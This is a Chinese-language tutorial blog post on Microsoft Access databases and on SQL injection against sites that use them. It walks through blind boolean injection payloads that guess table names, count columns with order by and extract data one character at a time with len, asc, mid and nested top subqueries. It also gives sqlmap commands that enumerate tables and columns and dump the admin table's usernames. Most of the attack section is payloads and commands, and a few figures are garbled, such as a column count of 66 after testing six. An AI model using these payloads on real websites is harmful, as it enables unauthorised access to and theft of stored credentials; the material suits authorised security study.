Access数据库及注入方法

Access数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office  Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

Access数据库中没有注释符号.因此 /**/  、 --  和  #  都没法使用。

Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

数据库文件打开工具:辅臣数据库浏览器

Access数据库的连接

"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

92009576f05faf5ecbc382cf75e7b43f.png

Access数据库中的函数

select len("string")        查询给定字符串的长度
select asc("a")             查询给定字符串的ascii值
top  n                      查询前n条记录
select mid("string",2,1)    查询给定字符串从指定索引开始的长度

mid(string,start,length) 这个用来截取字符串的

  •  string是要截取的字符串

  •  start是截取的字符串开始索引

  •  length是要截取的字符串长度

盲注Access数据库

Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。

判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
and exists(select* from  admin)

图片.png

猜测字段也是一样,只能通过枚举来猜测

判断有admin表后,再判断admin表有多少列,假如1-6正常查询,7列报语法报错,那说明有66列
and exists(select*from admin order by 6)

图片.png

图片.png

如图测试order by 6正常 oreder by 7不正常

判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
and exists(select name from admin)

图片.png

测试未发现admin表,使用手工枚举出id列

图片.png

猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

and (select count(*) from information)>100

然后在猜测每个字段具体的数据了

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
and (select top 1 len(admin)from admin)>5

猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
and (select top 1 asc(mid(admin,1,1))from admin)>97

第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97

从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。

查询第二行admin列的长度
and (select top 1 len(admin)  from ( select top 2 * from information order by id)  order by id desc)>55

下面是查询第2条数据的第3个字符
and (select top 1 asc(mid(admin,3,1))  from ( select top 2 * from information order by id)  order by id desc)>55

查询第三条数据的4个字符
and (select top 1 asc(mid(admin,4,1))  from ( select top 3 * from information order by id)  order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

asc("中") = -10544
chr(-10544) =

Sqlmap注入Access数据库

爆出access数据库存在的表,只能利用枚举的方式爆破。

sqlmap -u "xxx"  --tables

第一步问我们是否使用公共的库去爆破,我们选择:Y;

第二步选择默认的库文件:1

第三步选择线程数:10

图片.png

可以看出爆出了七个数据表:admin、admin_login、email、guestbook、job、news、product

爆出admin数据库中的列名

sqlmap -u "xxx" -T admin --columns

意思和上一步也是类似的。

image-20231228155445304图片.png

爆出admin表下username列的所有数据

sqlmap -u "xxx" -T admin -C username --dump-all


分享:

支付宝

微信